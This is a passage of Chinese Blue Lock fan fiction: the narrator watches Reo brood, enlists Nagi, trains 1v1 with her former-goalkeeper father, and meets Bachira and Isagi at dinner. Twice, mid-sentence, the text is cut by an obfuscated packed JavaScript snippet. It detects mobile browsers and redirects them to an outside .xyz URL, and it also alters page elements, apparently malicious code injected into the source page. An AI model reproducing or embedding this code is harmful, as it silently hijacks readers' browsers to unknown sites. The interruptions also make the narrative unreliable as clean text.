那语气,那内容,活脱脱像是在进行一种极其幼稚又执拗的占卜——就像法国人用拔雏菊花瓣来占卜“他爱我/他不爱我”一样!只是他占卜的工具是可怜的牙刷,而占卜的问题似乎是……我更喜欢谁?! 我瞬间石化在原地,脸颊爆红,脚趾尴尬地抠地。这、这什么情况?!御影玲王,白宝高中的王子,御影集团的继承人,蓝色监狱的精英,居然在这里……用拔牙刷毛的方式纠结这种问题?!而且这怨气冲天的样子……他是从什么时候开始的?拔了多久了?那牙刷还好吗?! 我算是知道为什么没人愿意进去打扰他了。这哪是平时的玲王,这根本就是个陷入情感困境、浑身绑满易燃易爆物的青春少男!随时可能因为下一根拔出的毛不符合预期而彻底爆炸! 可是……我不能就这么放下他不管啊。看他这副钻牛角尖的样子,天知道他要拔到什么时候,会不会耽误训练? 但现在直接闯进去?绝对不行!那会让他超级无敌窘迫吧?本来就在纠结这种问题被我撞破的话……画面太美我不敢想。 进退两难之际,我猛地想起了那个还在休息室地板上种蘑菇的节能主义者。对了!让凪来!他们不是搭档吗?而且凪那种平铺直叙的风格,说不定能……呃,能让他停止这种幼稚行为? 我像做贼一样,蹑手蹑脚地退回走廊,飞快地跑回V队休息室。凪还维持着刚才的姿势,仿佛一帧都没动过。 “凪!凪!”我压低声音,急切地叫他。 凪慢悠悠地抬起头,黑眼睛里写着“又怎么了”的懒散。 “快!去洗漱间看看玲王!”我语速飞快,尽量简洁地解释,“他好像……呃,心情非常不好,在跟牙刷过不去……你去跟他说一声,别耽误训练,顺便……别提我来了!”我下意识地补了一句,生怕玲王知道我在场后,会立刻戴上那副完美无缺的面具,让我再也看不到他真实的烦恼。 凪看着我,眨了眨眼,似乎处理了一下这复杂的信息。然后,他极其缓慢地、带着一万个不情愿地,叹了口气:“……好麻烦。” 话虽这么说,他还是慢吞吞地站了起来,像一棵被强行移植的慢动作植物,一步一挪地朝洗漱间走去。 我赶紧躲到走廊拐角,屏息凝神地偷看。 只见凪磨磨蹭蹭地走到洗漱间门口,那群围观群众立刻给他让开了一条路,眼神里充满了“勇士你终于来了”的敬意。凪无视了所有目光,径直走进去,停在那团散发着黑色怨气的玲王身后。 他安静地站了几秒,似乎在观察,然后,用他那标志性的、毫无波澜的、平板得像朗读说明书一样的语调开口: “玲王。爱来了。” 顿了顿,他补充了一句,像是在完成某项传达任务。 “不要太晚去训练。” 说完,他甚至没等玲王有任何反应,就转过身,像完成了一件天大的麻烦事一样,慢悠悠地、毫不留恋地……走出来了! 躲在拐角的我,震惊得下巴都快掉地上了! 就、就这样?!一句安慰都没有?!甚至连多一个字都懒得说?!直接就把我卖了啊?!凪诚士郎!我是让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251833|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你去安抚他,不是让你去给他投放深水炸弹的啊! 我眼睁睁看着凪像没事人一样晃悠回来,脸上依旧是那副“节能省电”的表情,仿佛刚才只是去丢了个垃圾。 “你……你就跟他说了这个?”我难以置信地压低声音问道。 凪瞥了我一眼,慢吞吞地点头:“……嗯。说完了。” 那样子仿佛在问:不然呢? 我简直要被他气晕过去:“一句安慰的话都没有吗?比如‘别想了’、‘训练重要’之类的?” 凪眨了眨眼,似乎觉得我的要求很不可思议:“……安慰?好麻烦。而且,说了也没用。” 他顿了顿,难得地多说了几个字,“玲王现在,听不进那种话。” 我竟无言以对。好像……有点道理? 就在我内心疯狂吐槽凪的“直球毁灭式”安慰法时,洗漱间那边的低气压似乎……消散了? 我小心翼翼地再次探头望去。 只见玲王已经停止了摧残牙刷的动作(希望那牙刷还活着)。他低着头,肩膀微微起伏,像是在深呼吸。几秒钟后,他猛地打开水龙头,用冷水用力扑了扑脸,然后胡乱地用毛巾擦干。 当他再抬起头时,脸上那些纠结、怨念、阴霾……统统消失了!取而代之的是一种刻意振作起来的、却难掩疲惫和勉强的神情。他快步走到储物柜前,开始利落地换训练服,只是那动作比起往常,少了几分张扬,多了几分沉闷。 很快,他换好衣服,转过身,脸上已经挂上了那副我熟悉的、阳光灿烂的“玲王大人”招牌笑容,只是那笑容底下,眼角的疲惫和一丝不易察觉的僵硬,瞒不过我。 “久等了!”他声音洪亮地对凪说道,仿佛刚才那个怨念实体化的人不是他,“走吧,去训练场!今天也要全力以赴!”他说着,很自然地伸手揽过凪的肩膀,带着他就要往外走。 走到门口,他似乎才“刚发现”躲在拐角的我,脸上露出恰到好处的惊讶,随即笑容更加灿烂耀眼:“爱?你已经到了啊!怎么不早点出声?正好!跟我们一起去训练场吧!让你看看我们特训的成果!”他的语气热情洋溢,充满了自信和活力,完美得无懈可击。 如果不是我刚才亲眼目睹了那场“牙刷占卜”,我几乎要以为他真的只是起晚了一点,现在精神百倍。 凪在一旁,没什么表情地看了我一眼,又看了玲王一眼,慢悠悠地吐出两个字:“……走了。” 我看着玲王那副“我很好我没事我超阳光”的样子,心里五味杂陈。果然……变成这样了。 “嗯,好。”我压下心底的叹息,点点头,跟上他们的脚步。 去训练场的路上,玲王一直在兴致勃勃地跟我说话,介绍他们最近训练的新内容,V队又赢了哪些比赛,他的进步有多大,凪又完成了哪些不可思议的射门……语速很快,内容充实,笑容始终挂在脸上。 但我却能清晰地感觉到,他那份阳光之下,刻意隐藏起来的、摇摇欲坠的疲惫和那份没有被真正解决的纠结。他只是在用加倍的热情和忙碌,试图掩盖那些情绪。 凪安静地走在一旁,偶尔被玲王cue到,就懒洋洋地“嗯”一声,大部分时间都在神游天外。 走到一个岔路口,凪忽然慢悠悠地靠近我一点,用只有我们俩能听到的音量,平板无波地问:“为什么你不直接告诉他你看到了?” 我愣了一下,低声回答:“因为……如果他知道我看到了,就会像现在这样,立刻伪装起来,假装什么都没发生,假装自己一点都不在意,比谁都坚强乐观。那样的话,我就永远都不知道他到底是真的没事,还是只是在硬撑了。” 凪沉默地走了几步,消化着我的回答,然后慢悠悠地“哦”了一声,像是明白了,又像是觉得这很“麻烦”。 果然,正如我所料。玲王完美地伪装了起来,用训练和笑容将自己紧紧包裹。 到达训练场边,玲王充满干劲地对我挥挥手,然后拉着凪投入了热火朝天的训练中。他跑动、传球、射门、大声指挥,每一个动作都依旧出色,仿佛充满了无限能量。 但我站在场边,看着他那比平时更加耀眼、也更加用力的笑容,心里却沉甸甸的。 那份沉重的慰问品和冰凉的柠檬茶还被锁在储物室里。 而那把饱经摧残的牙刷,和它未能占卜出的答案,或许也和他那份真实的烦恼一起,被暂时锁进了某个看不见的柜子里。 我知道的,他只是在等我离开后,才会允许自己偶尔泄气那么一下下。 阳光下的蓝色监狱,训练场上的呼喊声此起彼伏。 而我,只是安静地看着。 看着那个光芒万丈的少年,如何努力地、笨拙地、独自消化着那份名为“在意”的负担。 34. 1V1 运动是能缓解压力的行为。 这个念头像一颗被投入心湖的石子,在目睹玲王那过于用力的阳光笑容和凪懒洋洋却一针见血的“告密”后,悄无声息地沉入心底,漾开一圈微小的涟漪。或许,仅仅是站在场边看着,并不能真正触及那片被高墙围起来的、名为“蓝色监狱”的世界核心。或许,只有当身体也奔跑起来,当汗水同样浸透衣衫,当双脚真切地触碰那颗黑白相间的皮球,才能稍微理解那么一点点——理解玲王眼中燃烧的火焰,理解凪那份慵懒之下的专注,甚至理解洁世一他们拼尽一切也想留在这里的执念。 这股冲动来得突然,却带着一种清晰的笃定。我趁着训练间隙,小跑到场边正在平板电脑上记录着什么的帝襟安里身边。 “安里小姐,”我小声开口,尽量不打扰她的工作,“那个……如果我……嗯,只是想在他们训练的时候,也跟着一起跑跑,练练球感,可以吗?不会打扰到他们正常训练进度的。”我指了指场上正在进V队攻防演练的玲王和凪他们。 帝襟安里从屏幕上抬起头,褐红色的眼睛里闪过一丝惊讶,随即被一种了然和欣喜取代。“当然可以!”她几乎是不假思索地回答,语气热切,“绘心先生之前就交代过,如果清田小姐你有兴趣参与基础训练,是完全没问题的!他好像……一直挺期待你能动一动。”她推了推眼镜,露出一丝略带神秘的笑容,“他说,‘有天赋的影子,浪费了可惜’。当然,”她立刻补充道,语气变得严谨,“正式的内部选拔赛是不能上场的,这是规矩。毕竟每个队伍的人员配置和战术都是固定的,没有空缺的位置。但平时的训练,你随时可以加入!” 绘心甚八?那个蘑菇头?他居然早就批了?还说过那种话?我脑海里瞬间闪过在足协会议室里,他隔着镜片投来的那句没头没脑的“你踢球吗?”。原来那不是随口一问。 “太好了!谢谢您,安里小姐!”我真心实意地道谢,心里一块石头落了地。能参与训练已经是意外之喜了。 喜悦过后,现实问题接踵而至。我低头看了看自己脚上这双普通的运动鞋,在这种专业级别的训练场上,恐怕连保持不摔跤都难。 “那个……还有个小问题,”我有些不好意思地指了指自己的脚,“这里……有备用的人工草地钉鞋可以借我吗?普通的运动鞋可能不太行……” 话音刚落,一个洪亮、得意、仿佛变魔术般的声音猛地从我身后炸开! “哼哼!这种小事还用问别人?看看老爸给你准备了什么!” “哇啊!”我吓得整个人一哆嗦,差点跳起来,心脏砰砰狂跳!猛地回头,只见我那退役门神父亲大人,正像从地底冒出来一样,笑嘻嘻地站在我身后,手里还像献宝一样捧着一个崭新的鞋盒!他什么时候过来的?!走路都没声音的吗?! “老爸!你吓死我了!”我拍着胸口,惊魂未定。 父亲压根没在意我的抱怨,蓝眼睛里闪烁着“快夸我快夸我”的兴奋光芒,献宝似的把鞋盒塞到我怀里:“打开看看!老爸我的眼光!绝对合适!” 我狐疑地打开盒子。里面静静地躺着一双崭新的女子足球钉鞋,款式简洁流畅,颜色是我喜欢的低调黑银配色,鞋钉一看就是适合人造草场的类型。 “您……您什么时候买的?”我惊讶地拿起一只,分量很轻,手感极佳。 “早就准备好了!”父亲得意洋洋地双手叉腰,下巴扬得老高,“从你第一次在院子里对着轮胎练射门那天起,我就让相熟的品牌方按你的码数定制了!就等着今天呢!怎么样?老爸我是不是很有先见之明?是不是超——贴心!” 看着他那副恨不得把“最佳老爸”刻在脑门上的样子,我心里那点被惊吓的怨气瞬间消散,取而代之的是一股暖流。原来他看似大大咧咧,其实早就默默准备好了一切。 “嗯……谢谢老爸。”我小声说道,心里有点感动。 “跟我还客气什么!快换上试试!”父亲比我还着急。 我坐在场边的长椅上,换上这双仿佛为我量身定做的钉鞋。鞋面包裹性极好,踩在人造草皮上,鞋钉提供的抓地力让人安心。站起身,试着小跑了几步,感觉整个人都轻盈了不少。 这时,玲王和凪他们也注意到了这边的动静,训练暂告一段落,两人一起走了过来。玲王脸上还带着运动后的红晕,紫眸亮晶晶地看着我脚上的新鞋,又看看我,笑容灿烂:“爱?你这是……要加入训练?” “嗯!”我点点头,有点紧张又有点兴奋,“安里小姐说平时训练可以跟着一起练练球感。不过正式比赛肯定不能上场的。” “太好了!”玲王的喜悦显而易见,几乎要溢出来,“早就该这样了!你的球感那么好,不踢球太浪费了!”他看向我的眼神充满了期待和鼓励。 凪也慢吞吞地瞥了一眼我的钉鞋,然后目光落回我脸上,没什么波澜地评价了一句:“……哦。终于来了。”仿佛这事早在他的预料之中。 兴奋劲过去,现实问题又来了。我,玲王,凪,三个人。怎么练?把V队其他队员也叫过来一起?那样倒是能凑够12个人,打个6v6的小场对抗? 玲王几乎立刻否定了这个想法:“不行。”他摇了摇头,神色变得认真起来,“爱还没怎么踢过正式比赛,对抗节奏和强度都跟不上,万一在拼抢里受伤就麻烦了。”他紫眸里带着不容置疑的保护欲,“还是从最基础的1v1教学开始比较好,循序渐进。” 1v1教学?那听起来像是……“所以,是你来教我盘带和过人,然后……凪来当门将?”我看向旁边已经开始眼神放空、仿佛下一秒就能睡着的凪。 让凪诚士郎当门将?我脑海里瞬间浮现出他高大的身躯懒洋洋地靠在门柱上,甚至可能直接躺在球门里的画面。之前就有他训练间隙嫌累,直接扯着球网把自己挂上去休息的“光辉事迹”。让他守门,估计跟没有门将差不多。 果然,凪立刻发出了抗议的声音,拉长了调子:“……不要。好麻烦。跑来跑去……累。”他甚至配合地晃了晃身体,表示拒绝。 “就知道你会这么说。”玲王没好气地瞪了他一眼,然后也陷入了沉思,“但1v1练习,没有门将的话,射门练习就没意义了……” “门将?这还不简单!” 洪亮的声音再次响起。只见我那父亲大人不知何时已经套上了一副看起来有些年头的守门员手套,正啪啪地拍着手套上的灰,脸上是跃跃欲试的兴奋表情:“这种小事,交给老爸我就行了!虽然退役久了,手感生疏了不少,但对付你们这几个高中生的小打小闹,还是绰绰有余的!” 他一边说着,一边活动着手腕脚腕,做出几个专业的扑救准备动作,架势十足,那双蓝眼睛里燃烧着久违的、属于球场的光芒。 世界第一门将……亲自给我们当门将?! 我和玲王都愣住了。这待遇……是不是有点过于奢侈了? “真、真的可以吗?清田叔叔?”玲王的声音里带着受宠若惊的激动。 “当然!”父亲大手一挥,笑得爽朗,“好久没活动筋骨了,正好陪你们玩玩!也让你们见识见识,什么叫做‘宝刀未老’!”他自信满满地走向球门区,一边走还一边回头冲我眨眨眼,“放心,爱,老爸会给你放海的!” 我:“……” 倒也不用放海那么夸张。 于是,训练方案就这么定了下来。玲王负责指导我盘带和突破,父亲镇守球门,而凪……凪获得了特权,他只需要找个舒服的阴凉地,以“观察学习”的名义继续他的节能大业即可。对此安排,凪表示非常满意,立刻慢悠悠地晃荡到场边一棵装饰盆栽后面,把自己“卸”了下去,很快就进入了“待机观察”状态。 简单的热身之后,我和玲王站在中圈附近。脚下踩着专业钉鞋的感觉确实不一样,抓地力十足,让人跃跃欲试。 “准备好了吗,爱?”玲王在我面前几步远的地方微微躬身,做出防守的姿态,紫眸里带着笑意和认真的光芒,“刚开始不用急,先找找带球的感觉,我会慢慢来的。” “嗯!”我深吸一口气,将球轻轻拨到脚下。 玲王说到做到,一开始的拦截简直像慢动作回放,动作幅度很大,意图明显,嘴里还不停地指导着:“对,就这样,用脚弓推球,步子跟上……重心压低一点……对!做得很好!爱,你的球感真的没话说!” 在他的“放海式”防守和鼓励下,我渐渐放松下来,尝试着带球向前推进。虽然动作还很稚嫩,盘带也不算流畅,但至少能护住球,磕磕绊绊地朝着球门方向前进。 眼看着进入了射程范围,我回忆着凯撒和内斯教的要点,支撑脚站稳,摆腿,用力将球射向球门! 足球软绵绵地滚向球门。父亲穿着守门员服,像一尊金色的门神,甚至懒得做扑救动作,只是轻松地弯腰就把球捞在了怀里。 “哎呀!力量小了点!角度也不够刁钻!”他笑嘻嘻地点评,把球抛还给我,“再来再来!下次用力抽!” 第二次,我鼓起勇气,加大力度又是一脚! 这次球速快了些,但依旧是直奔父亲怀里而去。他依旧轻松接住,还故意做了个“好险好险”的夸张表情。 几次之后,父亲似乎觉得这样太没挑战性(主要是对他来说),他抱着球,对场边那个白色“蘑菇”喊道:“喂!凪小子!别光看着啊!过来活动活动!我们换换!你来守门试试!” 凪从盆栽后面慢悠悠地探出半个脑袋,脸上写满了“拒绝”:“……不要。好麻烦。” “一瓶柠檬茶!”父亲开始利诱。 凪的眼神似乎亮了一瞬,但随即又黯淡下去:“……三箱。” “成交!”父亲答应得无比爽快(反正最后大概率是玲王或者我买单)。 在“三箱柠檬茶”的驱动下,凪诚士郎终于极其不情愿地把自己从地上“拔”了起来,像一台生锈的机器人,一步一挪地走向球门区,替换下了我那位玩心大起的父亲。 父亲则溜达着跑到我身边,压低声音嘿嘿一笑:“嘿嘿,这下好了。凪这小子守门,估计比空门强不了多少,爱,你机会来了!” 我:“……” 您可真是我亲爸。 比赛(或者说练习)继续。轮到凪守门,他果然不负众望,高大的身躯像根门柱一样杵在门线前,眼神懒散,毫无扑救的欲望,仿佛只是在执行一个“站在这里”的任务。 玲王也稍微认真了一些,不再那么明显地放水,拦截的动作变得迅捷了不少。我不得不集中全部注意力,努力控制着脚下的球,在他的逼抢下艰难地向前。 一次,我好不容易晃开一点角度,抢在玲王封堵之前,奋力一脚抽射! 足球朝着球门飞去。凪甚至连手都懒得抬一下,只是慢悠悠地瞥了一眼球的轨迹。 就在所有人都以为这球要进了的时候,一道紫色的闪电猛然窜出! 是玲王!他不知道什么时候已经回追到位,在球即将越过门线的刹那,一个精准的滑铲,堪堪将球挡出了底线! “哇!”我惊呼出声,被他这惊人的速度和防守意识震撼到。 “啧!可惜!”父亲在一旁扼腕叹息。 玲王从地上利落地爬起来,拍了拍身上的草屑,脸上带着运动后畅快的笑容,对我竖了个大拇指:“爱!这球射得漂亮!差点就进了!进步很快啊!” 被他这么一夸,我刚才那点因为没进球而产生的沮丧瞬间烟消云散,心里甜丝丝的。 攻防转换。这次轮到玲王进攻,我防守。 他带着球,动作流畅而充满威胁,紫眸里闪烁着认真的光芒。我拼尽全力跟防,试图干扰他,但和他的技术相比,我的防守简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251834|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直形同虚设。他很轻松地就过掉了我,带球直扑球门。 面对岿然不动、仿佛事不关己的凪,玲王甚至懒得发力,轻轻一脚推射,足球精准地滚入网窝。 “1:0!”玲王笑着宣布,然后跑过来揉了揉我的头发,“防守的时候重心要再低一点,别轻易出脚,看准时机再抢断。” “嗯!”我用力点头,将他的话记在心里。 练习就这么继续着。我一次次地尝试带球、突破、射门。玲王则扮演着亦师亦友的角色,时而放水鼓励,时而认真防守给我施加压力,并不停地给出关键的指点。父亲在场边看得津津有味,时不时大声点评几句,或者在我射门失败时做出夸张的懊恼表情,又在玲王进球后大声叫好。而凪,则完美地履行着他“人形门柱”的职责,只有在球快砸到他的时候,才会慢吞吞地挪动一下位置,大部分时间都在神游天外,大概已经在脑海里计算那三箱柠檬茶能喝多久了。 汗水浸湿了额发,呼吸变得急促,小腿也开始发酸。但一种前所未有的畅快感却充斥着全身。每一次成功的触球,每一次艰难的突破,每一次拼尽全力的射门,哪怕大多以失败告终,都带着一种纯粹的、释放般的快乐。 不知不觉中,我的动作越来越放得开,盘带也渐渐有了点模样,不再那么磕磕绊绊。在一次连续的踩单车假动作(虽然做得歪歪扭扭)后,我竟然侥幸晃开了玲王半个身位!抓住这转瞬即逝的机会,我毫不犹豫地起脚打门! 这一次,足球没有软绵绵地滚向中路,而是带着一丝微弱的旋转,划出一条不算刁钻但足够迅速的线路,飞向了球门的右下角! 一直处于“待机”状态的凪,似乎终于被这脚稍微像点样的射门激活了一丝本能。他极其缓慢地、像树懒一样伸出了他的大长腿…… 然而,还是晚了零点几秒。 足球擦着他的脚尖,砰的一声撞入了球网! 球……进了?! 我愣了一下,几乎不敢相信自己的眼睛。 “进了!!!” 父亲在场边第一个爆发出巨大的欢呼,比自己当年扑出点球还激动,“好球!爱!漂亮!” 玲王也愣了一下,随即脸上绽放出无比灿烂的笑容,紫眸亮得惊人,他快步跑过来,用力拍了一下我的肩膀:“漂亮!爱!看到没有!你做到了!这球射得很有质量!” 就连一直懒洋洋的凪,也慢吞吞地回头看了一眼在球网里滚动的足球,然后又慢吞吞地转过头,对着我,极其轻微地、几乎看不见地点了一下头,算是认可。 巨大的喜悦和成就感瞬间淹没了我!我忍不住笑了起来,感觉心脏因为兴奋而砰砰直跳! 我们继续练习着,汗水挥洒在绿色的草皮上。我越来越投入,越来越敢于做动作。玲王也教得越发兴起,我们你来我往,竟然也打出了几次像样的攻防。 最终,这场非正式的1v1,以我的一记侥幸入门告终。虽然大部分时间都是被玲王“教学”,但能进一个球,已经让我开心得不得了。 “呼……累死了……”我撑着膝盖,大口喘着气,感觉全身的肌肉都在尖叫,但心情却无比舒畅。 “表现超棒!爱!”玲王看起来也累得够呛,额发湿漉漉地贴在脸上,但他的笑容却比阳光还要耀眼,紫眸弯弯的,里面盛满了毫无阴霾的喜悦和赞赏,“我就知道你一定可以的!你的学习能力和球感,绝对是顶级的!” 就连我那位世界冠军老爸也走过来,用力揉了揉我的头发,虽然嘴上还在吐槽:“还行还行!马马虎虎!比起你老爸我当年那是差远了……不过嘛,第一次踢成这样,也算没丢我的人!” 但那骄傲的眼神却出卖了他。 凪不知何时也溜达了过来,慢悠悠地递给我一瓶水(不知道他从哪变出来的),然后看向父亲,言简意赅地提醒:“……柠檬茶。三箱。冰的。” 父亲哈哈大笑:“忘不了!走走走!训练结束!老爸请客!食堂加餐!想吃什么随便点!庆祝我们家爱第一次踢球……呃,第一次进球!” 一行人吵吵嚷嚷地走向食堂。夕阳的金辉将我们的影子拉得很长。玲王走在我身边,脸上始终带着那种轻松又明亮的笑容,早上那点别扭和阴霾早已消失得无影无踪。 打好饭菜,围坐在餐桌旁。父亲还在兴致勃勃地跟凪讨论着哪种口味的柠檬茶更好喝(虽然凪只是偶尔“嗯”一声),我则埋头对付着盘子里玲王特意帮我多拿的一块炸猪排。 忽然,玲王的声音在旁边轻轻响起,带着一种前所未有的、温柔而认真的意味。 “爱。” “嗯?”我咬着猪排抬起头。 他侧着头看着我,紫罗兰色的眼眸在餐厅温暖的灯光下,像是最璀璨的宝石,里面清晰地倒映出我的样子。他的嘴角向上扬着,形成一个极其好看、无比真诚的弧度。 “谢谢你。” “谢我什么?”我有些不解。 “谢谢你今天……愿意走进来,和我们一起踢球。”他的声音很轻,却带着沉甸甸的分量,“看到你在球场上奔跑、努力的样子,看到你进球后那么开心的笑容……我感觉……”他顿了顿,似乎在寻找合适的词语,眼神明亮而温暖,“我感觉,我的梦想,还有我的人生里,能有你的加入……真的是太好了。” 他的话语像一股暖流,瞬间涌遍我的全身。脸颊微微发烫,心里却像是被什么东西填得满满的,又软又涨。 我看着他无比认真的眼神,也忍不住笑了起来,用力点了点头。 “嗯!” 运动或许不能解决所有烦恼。 但至少在此刻,汗水冲刷掉了隔阂,奔跑拉近了距离,而一颗小小的足球,仿佛真的拥有奇妙的魔力,让我们在共同的努力和欢笑中,看见了彼此最真实、也最耀眼的样子。 这感觉,确实……太好了。 35. 再战 凪诚士郎盯着我们看了一会,那双没什么波澜的黑色眼睛在我和玲王之间缓慢地移动,像是在观察什么,又像是单纯在发呆。他嘴里还咀嚼着食物,腮帮子微微鼓起,配上那头醒目的白发和懒洋洋的神情,活像一只正在思考宇宙奥秘的大型仓鼠。我完全搞不懂他那节能模式全开的大脑里此刻到底在计算着什么,是柠檬茶的库存,还是刚才训练时某个球的轨迹,或者……是别的什么更难以捉摸的东西。 就在我被他看得有点发毛,忍不住想开口问他“到底在看什么”的时候—— “猜猜我是谁——!” 一个活泼到近乎雀跃的声音猛地在我耳边炸开!与此同时,一双温热的手掌从后面伸过来,结结实实地捂住了我的眼睛! 视野瞬间陷入一片黑暗。 “喂!蜂乐!别突然这样!很失礼啊!”另一个略显焦急和无奈的声音紧接着响起,带着熟悉的认真劲儿。 蜂乐?还有这个声音……是洁世一! 我几乎一秒就确定了身后这个捂我眼睛的调皮鬼肯定是蜂乐回,而后面那个正在劝阻的,绝对是洁世一。他们怎么也跑到食堂来了?还凑巧撞见了我们? “蜂乐,快松手。”玲王带着点无奈又好笑的声音也从对面传来,显然也被这突如其来的状况弄得有点措手不及,但语气里并没有真正的责备。 “不要不要~猜对了才松手!”蜂乐回的声音带着笑意和恶作剧得逞的小得意,捂着我眼睛的手甚至调皮地轻轻晃了晃,“快猜快猜!猜不到就不放开哦!” 我能感觉到他说话时呼出的热气拂过我的耳尖,带来一丝微痒。这家伙……活力真是永远满格。 “是蜂乐回,对吧?”我忍着笑意,配合地给出了答案,“除了你,大概也没人会这么玩了。” “Bingo!答对啦!”蜂乐欢呼一声,立刻松开了手。 骤然恢复的光线让我微微眯了下眼。转过头,首先映入眼帘的就是蜂乐回那张灿烂的笑脸。他蜂蜜金色的眼眸亮晶晶的,黑金挑染的头发似乎比之前长了一点,随着他兴奋的动作跳跃着。他身后站着略显局促的洁世一,后者正不好意思地对我笑了笑,眼神里带着“真拿他没办法”的歉意。 我刚想开口和他们打招呼,顺便问问Z队的情况,蜂乐回却抢先一步,猛地伸出手,一把揽住了旁边洁世一的肩膀,动作亲昵又带着点哥俩好的豪气,笑嘻嘻地对我,也是对桌上的其他人,用一种宣布重大消息般的语气大声说道: “来来来!给大家隆重介绍一下!这位!就是我们Z队最新出炉的——獠牙君!洁世一!” 獠、獠牙君?! 这个称呼一出来,我瞬间愣住,随即差点没绷住笑出声!目光下意识地看向洁世一。只见他整张脸“唰”地一下涨得通红,一直红到了耳朵根,那双总是写满认真和执着的眼睛此刻写满了窘迫和“求放过”,嘴唇动了动,似乎想反驳,却又碍于蜂乐的热情而说不出话来,只能发出无意义的呜咽声,恨不得当场找个地缝钻进去。 这反应实在太有趣了。我迅速扫了一眼餐桌上的其他人。玲王正优雅地拿着纸巾擦嘴角,但微微抽动的眼角和强行压平的嘴角出卖了他;连对面一直处于待机状态的凪诚士郎,都极其轻微地偏过头,肩膀几不可察地抖动了一下,虽然没什么声音,但那分明就是在偷笑!父亲更是毫不客气,直接“噗嗤”一声笑了出来,引来洁世一更哀怨的目光。 蜂乐回却完全没察觉或者根本不在意洁世一的窘境,依旧一脸“快夸我取名天才”的骄傲表情,甚至反手指了指自己,更加得意地宣布:“而我!就是Z队的怪物君!蜂乐回!怎么样?很酷吧!” 怪物君……比起“獠牙君”,这个自称确实要顺耳多了,也更符合他那种自由奔放、如同球场精灵般的风格。但我看着洁世一那快要熟透的脸,还是很讲义气地把这句评价咽了回去,没敢说出来火上浇油。 “够、够了蜂乐!别玩了……”洁世一终于从羞愤中找回了一点自己的声音,试图挣脱蜂乐回的钳制,声音微弱地抗议着,脸上的红晕丝毫未退。 父亲笑够了,抹了抹眼角的泪花,看热闹不嫌事大地开始挨个点评起来:“獠牙君?哈哈!有意思!那照这个逻辑,洁君是獠牙君,蜂乐君是怪物君……”他的目光扫过凪,“凪就是……节能君?”然后落到玲王身上,摸着下巴作思考状,“玲王君嘛……是完美君?还是王子君?这个得你自己挑。” 最后,他那充满戏谑的目光转向了我,显然不打算放过任何一个起哄的机会:“至于我们家爱……” “停!打住!”我眼疾手快地打断他,双手在胸前比了个大大的“X”,“我就免了!谢谢您嘞!我可不想莫名其妙多一个奇怪的外号!”光是想象一下可能被安上什么“经理君”、“骑士姬君”之类的称呼,我就觉得头皮发麻。 为了把大家的注意力从这危险的“称号授予大会”上移开,我赶紧把话题拐回最初的“受害者”身上,带着一丝歉意和更多的调侃看向洁世一:“所以,洁君,你的‘獠牙’……找到了吗?”问完我就后悔了,这简直是往人家伤口上撒盐。 果然,洁世一的脸瞬间又红了一个度,眼神飘忽,手脚都不知道该往哪里放,整个人羞愤欲死,从喉咙里挤出几个气音:“……还、还在找……” 我在心里默默双手合十:对不起对不起,洁世一,为了转移火力,只好暂时牺牲一下你了! 父亲显然玩心大发,看这几个年轻人凑在一起气氛热烈,便大手一挥,发出了邀请:“对了,洁君,蜂乐君,你们下午训练任务重不重?不忙的话,要不要也一起来踢会儿?主要还是陪爱练练球,熟悉熟悉对抗的感觉。当然,要是有正事或者累了就算了,千万别勉强。我当门将,你们玩玩也行。” 蜂乐回一听,那双蜂蜜金色的眼睛瞬间迸发出比食堂顶灯还亮的光芒,几乎是跳着回答:“要要要!当然要!跟爱酱一起踢球肯定超——有意思!我接受!”他答应得飞快,甚至没问具体细节,仿佛只要是踢球,尤其是跟新朋友一起,就是世界上最好玩的事情。 我都不知道他这“超有意思”的结论是从哪里得出来的。刚才我被玲王“教学”得挺狼狈的,可没信心让他觉得好玩。 而洁世一,在听到“陪练”和“门将”这几个关键词后,原本还残留着羞涩的脸上立刻浮现出一种混合着震惊、崇敬和巨大兴趣的表情。能和曾经的世界第一门将同场竞技,即使是这种娱乐性质的教学,对任何一个足球少年来说都是难以拒绝的诱惑。他几乎是没有任何犹豫,立刻用力点头,眼神变得无比认真:“请务必让我参加!非常感谢您给我们这个机会!”那架势,仿佛接到的不是玩闹的邀请,而是某项神圣的使命。 于是,原本还算宽敞的餐桌瞬间变得拥挤起来。蜂乐回毫不客气地挤到了我旁边,拿起一个还没人动过的餐后布丁就挖了一大勺,吃得眼睛眯起;洁世一则有些拘谨地在玲王旁边加了个座位,坐姿端正得像上课;凪依旧慢吞吞地啃着他的能量棒,仿佛周围多了两个人也只是背景板换了张图片;玲王笑着摇了摇头,显然对突然热闹起来的场面接受良好;父亲更是兴致高昂,已经开始跟洁世一和蜂乐回讨论起下午训练的具体内容。 我看着眼前这突然变得喧闹又充满活力的餐桌,看着身边这些性格迥异却同样为足球燃烧着的少年,心底那片因为离别和课业而略显沉寂的角落,仿佛又被注入了新的能量。 虽然“獠牙君”这个称呼大概会让洁世一郁闷好一阵子。 但下午的训练……看来会变得更加有趣了。 *** 